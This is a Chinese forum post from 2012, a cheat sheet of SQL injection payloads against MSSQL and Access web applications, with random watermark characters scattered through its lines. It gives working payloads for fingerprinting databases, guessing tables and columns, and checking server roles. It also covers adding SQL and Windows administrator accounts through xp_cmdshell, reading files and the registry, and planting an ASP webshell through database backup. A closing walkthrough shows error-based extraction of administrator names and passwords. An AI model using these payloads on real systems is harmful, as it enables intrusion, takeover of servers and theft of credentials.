找回密码
 立即注册
查看: 2479|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
; e- u- T* w; q6 H- A;and 1=1
" _0 q* \' C$ M( R" n& ]3 k;and 1=2   i* F" p  [1 j+ m! A4 y5 n
, f2 N$ |- q  D
2.初步判断是否是mssql " P" |* L; z0 k
;and user>0 ( K) D" W0 u6 R; w

, s7 X$ g0 o0 Q4 G, Y0 [3.判断数据库系统 % V; d, D- I1 |7 Q
;and (select count(*) from sysobjects)>0 mssql
2 ^4 k8 f- k( n: @3 i  r;and (select count(*) from msysobjects)>0 access
6 B5 V+ d6 J! p2 x' s! {' Q) k) s7 l. q, y
4.注入参数是字符 & T# G" q& i9 M. ~0 \
'and [查询条件] and ''='
( y* }* h9 N! I% b' F7 e# s3 D0 d6 T6 s! m
5.搜索时没过滤参数的 9 D9 p6 j7 E* {; R0 Z3 T: D3 [
'and [查询条件] and '%25'='
' E' i; s6 u; `0 b% I+ k
4 a3 E2 e$ Y, \& V6.猜数表名 4 x5 R3 K( w1 G, V3 H. o
;and (select Count(*) from [表名])>0
. H( V% b3 T( r7 J: @
3 s0 M- ?% |, T+ ~, v7.猜字段
. O0 J2 n: U$ L, P8 g: z0 t9 o) K;and (select Count(字段名) from 表名)>0
5 {3 \, ~  Y; W; Q) h9 e* f# B5 Y4 y% _) k9 I
8.猜字段中记录长度 & z4 H# A  R4 U% L3 ~7 t/ e' G
;and (select top 1 len(字段名) from 表名)>0
5 r$ f, y4 i, J/ R: g# m$ r( Y$ b+ p" J6 @$ ~& r$ X
9.(1)猜字段的ascii值(access) 0 Q- u2 f2 i# K/ y/ P7 K8 @
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
. j: L& {3 v# F: C' t
. F' u) s8 c/ e2 Z7 N+ h; e. b. c8 T(2)猜字段的ascii值(mssql)
5 V4 p$ n  J9 J$ j$ m5 ]' Z4 h2 d;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 " u/ x4 o' k& \* h5 N. ]
! u; s# ?6 R+ j# G# i/ ^6 o2 m
10.测试权限结构(mssql) $ E1 `8 b9 F/ a1 }
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
# F/ G) ]2 ~( A;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
. m; }) e7 k* _3 ~1 }' q;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 0 E. }" L& ~; @/ G2 l& p
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $ J" M8 i+ ?9 t4 u6 j1 I
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
0 L- }% }1 B; s2 l, I;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; d1 {# _% z- i) O/ G0 D1 F
;and 1=(select IS_MEMBER('db_owner'));--
& K) D5 a' T. h, J; r6 _
2 {" I7 w6 M4 q: ^, f- F0 q7 T11.添加mssql和系统的帐户
* e, O6 o, G# Y, m;exec master.dbo.sp_addlogin username;-- / j* q+ [$ \2 F0 ?- M0 [1 G
;exec master.dbo.sp_password null,username,password;-- : g3 P, @4 R: q! w, a: R% q& z. l
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ' d) e  p5 i4 l( Q% c
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
# S# V4 X1 [/ e" N0 u( v;exec master.dbo.xp_cmdshell 'net user username password /add';--
& F2 [, ^) i; g' W1 m! I6 e;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 3 y" P+ L7 z! j" h, A

3 I; S+ ~, p1 h  x) x! H: f/ E12.(1)遍历目录
( x# `0 e9 r) k' I, \. c( R;create table dirs(paths varchar(100), id int) - {" ^% _1 B3 z0 u) _, x
;insert dirs exec master.dbo.xp_dirtree 'c:\' * a& M6 g. s' |% ?" u- r
;and (select top 1 paths from dirs)>0
# ?0 L+ r9 |' ~5 t/ I  u: A;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
2 Y" y& d  K# V; X& H' L4 w; a  h- O( w" L( L* i
(2)遍历目录 & k% p# H+ J# b  R- a
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * j' n$ e  l: I6 m  _& G% E! m
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1 C/ O& h5 C; K0 v: R
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
" ?; r3 P" @7 F;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
0 b. e$ |$ K7 C& z1 V8 t;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2 W9 f- ]( d& L

% ^/ f  }7 H3 i3 c13.mssql中的存储过程 + L' u. c4 W; L; L7 `& O+ y
xp_regenumvalues 注册表根键, 子键 # G, _0 i5 j" S) @4 `
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 . W' \- i0 N; ]3 e
xp_regread 根键,子键,键值名
" B1 G/ Z& ]& Y;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
# y" X; z( X+ j. X8 ]xp_regwrite 根键,子键, 值名, 值类型, 值 $ V; q4 @' C: J" l% o. O
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
8 X! X* [0 m8 ~  ^, K;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ( E* g$ y: ^8 I+ F# A" G, A
xp_regdeletevalue 根键,子键,值名
3 x7 h: ^. A, rexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 9 p9 G% T- W4 C9 v! g
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2 S3 E3 h' z- F' D4 O

, {+ |: a4 [# M. _) ^  z14.mssql的backup创建webshell
+ o: U2 G- ?+ c6 luse model
, @) Z" q5 }( p0 Screate table cmd(str image); 4 j4 C- ]! P& Z% g. P9 p8 K
insert into cmd(str) values ('<% Dim oScript %>');
4 x9 J* i( E" y( p$ M" h3 S0 d. kbackup database model to disk='c:\l.asp'; / N' F- g2 g8 j) H
  ^& e5 z+ ]( E7 M
15.mssql内置函数 ) |/ x6 x4 e+ L/ @# U4 w
;and (select @@version)>0 获得Windows的版本号 : B8 B  \/ D6 [3 L
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ' y. {" H" |; b
;and (select user_name())>0 爆当前系统的连接用户 4 \3 r' m3 u( i8 P
;and (select db_name())>0 得到当前连接的数据库 : d# t/ l! {* y8 n; R. k
1 p! O, }. u2 |( R7 f1 `& M
% n) f4 e3 n- ?, y' f. @. M% y
) q( i8 T& \- |+ C: @
MSSQL手注暴库3 c+ Y, z# P3 ?) ^
* n+ `) A5 x9 j9 M  S2 O4 H
1.暴出当前表名和列名
( Q4 k! b* u- S. e, n在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。  A  W0 r; a& B$ L8 B

5 k3 r  o/ @. ~# c; C# i第一.爆出所有数据库名
  b4 W3 H0 d1 d- B利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
% F# }; f) h& ?, W第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。8 m5 B: V, m! Z" \; t7 D$ @; r4 n

& t2 c: i' {. E; O0 fand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名) @! |# r9 [7 H. a! p& s

  k. T. t( n+ X% S  `
" G# Z/ o; Q: }第二.爆出指定库中的所有表名: x' t9 }. i) n/ N. Q
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。8 K4 n2 f- ?9 E" }" a$ m( N# O2 u3 M
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。& p0 D. f' a7 u0 f0 b  J
* u: O" ^3 g' C9 v% L9 w
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
; E" f$ w" D, ]. ?/ h' C7 ~% jand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
. ?5 Q+ ~; Y6 ?8 \5 A* j' d( Tand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
: L" L$ P) [' u: w( d8 d2 @1 z1 J4 ?% V0 v8 w' S5 u% @
4.爆出指定表中的所有列名
3 i1 ^9 a0 w& [0 v6 O9 g: u& ]and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
$ y: H/ U8 E$ W//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'6 N0 }. ?& f8 X6 [# s# `

# `+ C' C# p4 L4 dand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名3 z4 R+ c/ ?5 l* r# X- D+ _

6 B' K# G6 }; ~3 \( |再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ! p9 Y! x9 z5 M
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
8 r( \0 ~  I; U8 P! \- @, x
& e- h( G5 g0 V, \
1 X, |: a( R' I. M- R0 }, ?1 \and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
7 ]/ {8 |4 o5 v- R6 b! C9 \% N3 y9 C# [5 ~
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名; ^% ?* C7 d0 U4 W0 ]/ D$ e

1 h0 u/ |" p; L( G% }" cand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 8 q& ?6 F( X" N4 U! T6 {4 S: s

+ b/ s: G% f, \6 O, u" m
7 P0 W- U+ m/ f5 L( D  C6 I  w( j- j+ j7 n0 P% t8 h
5.读取指定表中的数据+ x* H2 c5 T- W

9 L$ h2 {3 I. m( I! @and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 7 ~/ q7 n8 v9 o

9 O0 l: {$ r# p  V  ~and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
6 a; E. G1 }; b5 N" k
, z( J+ ^  L) G% P: Mand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
4 |& T, L3 W" t. A2 }, ]  R) k1 {; B  T9 W( S

+ ~6 [7 x' R2 V; J6 _5 t" b: A) Cand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)( s; V$ x# d( K& J% T' L

, ~1 t. F! Q' Z( A) [5 u) cand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)* r, i% Q- C. C1 ~* Q

) T) O: Q* \6 t6 O/ g- Qand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
! U# ~3 ~( Y8 v" U9 e2 ^" w0 Q, W& x. `0 D' U% M( x  E) E9 d1 L
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
( d% f$ y* N7 y$ X4 j, U0 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表